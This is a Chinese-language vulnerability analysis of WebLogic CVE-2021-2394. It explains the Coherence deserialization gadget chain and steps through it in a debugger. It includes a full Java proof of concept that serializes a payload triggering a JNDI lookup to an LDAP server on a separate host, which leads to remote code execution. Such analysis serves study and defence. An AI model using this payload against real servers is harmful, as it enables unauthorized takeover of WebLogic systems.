weblogic漏洞分析之CVE-2021-2394

简介

Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本:

Oracle WebLogic Server 10.3.6.0.0

Oracle WebLogic Server 12.1.3.0.0

Oracle WebLogic Server 12.2.1.3.0

Oracle WebLogic Server 12.2.1.4.0

Oracle WebLogic Server 14.1.1.0.0

前置知识

为了更好的理解漏洞,我将介绍漏洞中涉及的每一个类的作用,再将所有类串起来形成调用链

ExternalizableLite接口

Coherence 组件中存在一个 com.tangosol.io.ExternalizableLite,它继承了 java.io.Serializable,另外声明了 readExternalwriteExternal 这两个方法。

ExternalizableHelper类

ExternalizableHelper类可以将实现上面ExternalizableLite接口的类进行序列化和反序列化操作,在反序列化操作中,会调用ExternalizableHelper#readObject

如上图,在ExternalizableHelper#readObject中,会调用readObjectInternal方法,此方法会根据要还原类的类型,选择对应的方法进行解析,对于实现 com.tangosol.io.ExternalizableLite 接口的对象,会进入到 readExternalizableLite 方法:

readExternalizableLite 方法中,会根据类名加载类,然后并且实例化出这个类的对象,然后调用它的 readExternal() 方法。

JdbcRowSetImpl类

此类中getDatabaseMetaData方法会调用this.connect

this.connect则调用了InitialContext#lookup,如果this.getDataSourceName()为恶意uri,则可以产生JNDI注入

MethodAttributeAccessor类

此类中有一个getAttributeValueFromObject方法,在getAttributeValueFromObject方法中,可以调用invoke来执行任意方法,前提是三个参数可控getMethod、anObject、parameters

AbstractExtractor类

此类的compare方法会调用this.extract

FilterExtractor类

此类是整个漏洞绕过上一个补丁的关键类,它实现了ExternalizableLite接口,并且父类是AbstractExtractor

在此类中有两个比较重要的方法,首先来看第一个extract方法,此方法会调用attributeAccessorgetAttributeValueFromObject方法

第二个是readExternal方法

此方法调用了SerializationHelper#readAttributeAccessor来从序列化数据中还原this.attributeAccessor的值

跟进readAttributeAccessor方法,可以看到是自己new了一个MethodAttributeAccessor对象,这里就是绕过补丁的关键

TopNAggregator$PartialResult类

TopNAggregator$PartialResult是一个静态内部类,也实现了ExternalizableLite接口,里面有个readExternal方法

readExternal方法中也是调用的ExternalizableHelper进行还原每一个元素,170行还原了m_comparator后,到172行调用了instantiateInternalMap方法并且传入了还原的m_comparator,跟进instantiateInternalMap

这里首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

跟进add方法看到调用了父类的add

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

TreeMap类

TreeMap类中,其put方法会调用compare

compare中调用了comparator.compare,此处的comparator是在上个内部类中赋予的值SortedBag.WrapperComparator

SortedBag$WrapperComparator类

此类的compare方法会调用this.f_comparator.compare

AttributeHolder类

这个是整个漏洞的入口,在此类中实现了readExternal方法,在还原this.m_oValue值时候会调用ExternalizableHelper.readObject

漏洞分析

先上gadget:

AttributeHolder#readExternal
ExternalizableHelper#readObject
ExternalizableHelper#readExternalizableLite
TopNAggregator$PartialResult#readExternal
TopNAggregator$PartialResult#add
SortedBag#add
TreeMap#put
SortedBag$WrapperComparator#compare
FilterExtractor#compare
FilterExtractor#extract
MethodAttributeAccessor#getAttributeValueFromObject
Method.invoke
JdbcRowSetImpl#getDatabaseMetaData
InitialContext#lookup

POC用Timeline Sec团队的:

import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor; import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method; public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc"; MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection"); Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance(); jdbcRowSet.setDataSourceName(ldapurl); FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor()); SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet); Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor); AttributeHolder attributeHolder = new AttributeHolder(); Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag); //serial
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close(); //unserial
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor { public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
} public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}

objectIntputStream.readObject();处下断点

跟进到AttributeHolder#readExternal,这里使用了ExternalizableHelper从序列化数据中还原this.m_oValue

跟进ExternalizableHelper#readObject,调用了readObjectInternal

readObjectInternal中,判断nType的值,进入readExternalizableLite来处理

readExternalizableLite中,先实例化了TopNAggregator$PartialResult类,然后调用了它的readExternal方法

跟进到TopNAggregator$PartialResultreadExternal方法,开始依次还原几个变量,先看还原第一个m_comparator

跟进ExternalizableHelper#readObjectreadExternalizableLite方法,实例化出了FilterExtractor对象,调用其readExternal方法

跟进FilterExtractor#readExternal方法,发现调用了SerializationHelper.readAttributeAccessor方法来还原this.attributeAccessor的值

跟进SerializationHelper.readAttributeAccessor后,可以看到会 new 一个 MethodAttributeAccessor 对象,然后从 DataInput 中还原它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性,最后进行返回。

回到TopNAggregator$PartialResultreadExternal方法中,此时this.m_comparator已经变成了FilterExtractor对象

接着调用到172行的instantiateInternalMap方法,传入了this.m_comparator

instantiateInternalMap方法中,首先new了一个SortedBag.WrapperComparator,传入comparator,跟进WrapperComparator可以看到把comparator的值赋予给了this.f_comparator

之后把new出来的SortedBag.WrapperComparator对象传入了TreeMap构造方法,跟进TreeMap构造方法

TreeMap构造方法只是对comparator的一个赋值,把刚刚的SortedBag.WrapperComparator对象传递给了this.comparator

回到TopNAggregator$PartialResult类,最终的把TreeMap对象赋值给了this.m_map,接下来看176行的this.add

跟进add方法看到调用了父类的add,可以看到value的值已经变成了JdbcRowSetImpl

跟进其父类SortedBag类的add,在父类add方法中,调用了map.put,而这里的map就是上面的TreeMap对象

TreeMap类中,其put方法会调用compare,此时传入的key就是JdbcRowSetImpl对象

compare中调用了comparator.compare,此处的comparator是在上面TreeMap中赋予的SortedBag.WrapperComparator

接着进入SortedBag.WrapperComparator#compare中,可以看到调用了FilterExtractor#compare,其中o1、o2的值为JdbcRowSetImpl

跟进FilterExtractor#compare中,调用了this.extract

转到this.extract,调用了MethodAttributeAccessor#getAttributeValueFromObject

查看MethodAttributeAccessor#getAttributeValueFromObject

利用invoke调用了JdbcRowSetImpl#getDatabaseMetaData

最终进行了lookup,其this.getDataSourceName()就是我们输入的LDAP地址

弹出计算器

参考

https://xz.aliyun.com/t/10052#toc-12

https://github.com/lz2y/CVE-2021-2394

weblogic漏洞分析之CVE-2021-2394的更多相关文章

  1. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  2. Weblogic漏洞分析之JNDI注入-CVE-2020-14645

    Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...

  3. weblogic漏洞分析之CVE-2016-0638

    weblogic漏洞分析之CVE-2016-0638 一.环境搭建: 这里使用前一篇文章的环境,然后打上补丁 上一篇文章:https://www.cnblogs.com/yyhuni/p/151370 ...

  4. weblogic漏洞分析之CVE-2017-10271

    weblogic漏洞分析之CVE-2017-10271 一.环境搭建 1)配置docker 这里使用vulhub的环境:CVE-2017-10271 编辑docker-compose.yml文件,加入 ...

  5. weblogic漏洞分析之CVE-2017-3248 & CVE-2018-2628

    CVE-2017-3248 & CVE-2018-2628 后面的漏洞就是2017-3248的绕过而已,所以poc都一样,只是使用的payload不同 本机开启JRMP服务端 ->利用T ...

  6. weblogic之CVE-2018-3191漏洞分析

    weblogic之CVE-2018-3191漏洞分析 理解这个漏洞首先需要看这篇文章:https://www.cnblogs.com/afanti/p/10193169.html 引用廖新喜说的,说白 ...

  7. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  8. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  9. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

随机推荐

  1. Java互联网架构师系统进阶课程 (一)【享学】

    2.线程的并发工具类 Fork-Join 什么是分而治之? 规模为N的问题,N<阈值,直接解决,N>阈值,将N分解为K个小规模子问题,子问题互相对立,与原问题形式相同,将子问题的解合并得到 ...

  2. JUC学习笔记(一)

    1.什么是 JUC 1.1.JUC简介 在 Java 中,线程部分是一个重点,本篇文章说的 JUC 也是关于线程的.JUC 就是 java.util .concurrent 工具包的简称.这是一个处理 ...

  3. CSS Flex布局完全指南 #flight.Archives002

    Title/CSS Flex布局完全指南 #flight.Archives002 序(from Ruanyf) : 网页布局(layout)是 CSS 的一个重点应用. 布局的传统解决方案,基于盒状模 ...

  4. 如何在idea中配置Tomcat服务器

    .IDEA 中动态 web 工程的操作         a)IDEA 中如何创建动态 web 工程        1.创建一个新模块: 2.选择你要创建什么类型的模块 3.输入你的模块名,点击[Fin ...

  5. 适配Android4.4~Android11,调用系统相机,系统相册,系统图片裁剪,转换文件(对图片进行上传等操作)

    前言 最近Android对于文件的许多方法进行了修改,网络上又没有对Android4到Android11关于系统相机.系统相册和系统裁剪的适配方案,我花了几天事件总结了一下,先上源码 DEMO源码 先 ...

  6. 【XSS-labs】level 16-20

    Level 16 查看源码:发现 空格 / 和script都被转义了. 用img标签的onerror事件(在加载外部文档或图片出错后触发),空格用%0a绕过,  payload如下: <img% ...

  7. Linux UDP服务器编程

    UDP主要使用sendto()和recvfrom() recvfrom() 函数原型如下: #include <sys/types.h> #include <sys/socket.h ...

  8. Longhorn,企业级云原生容器分布式存储 - 高可用

    内容来源于官方 Longhorn 1.1.2 英文技术手册. 系列 Longhorn 是什么? Longhorn 企业级云原生容器分布式存储解决方案设计架构和概念 Longhorn 企业级云原生容器分 ...

  9. http扩展小插件

    支持.net framework4.5.1,.net core2.0及以上 应用层需要引用包Kogel.Net,Nuget上可以下载安装. 或者使用Nuget命令添加包 Install-Package ...

  10. 让div占据父元素剩下的所有位置

    场景模拟: 现在有一个父容器,里面有俩个div,左边的要给一个固定的200px的宽度,父容器剩下的宽度都归右边的div该怎么完成?HTML代码: <div class="wrap&qu ...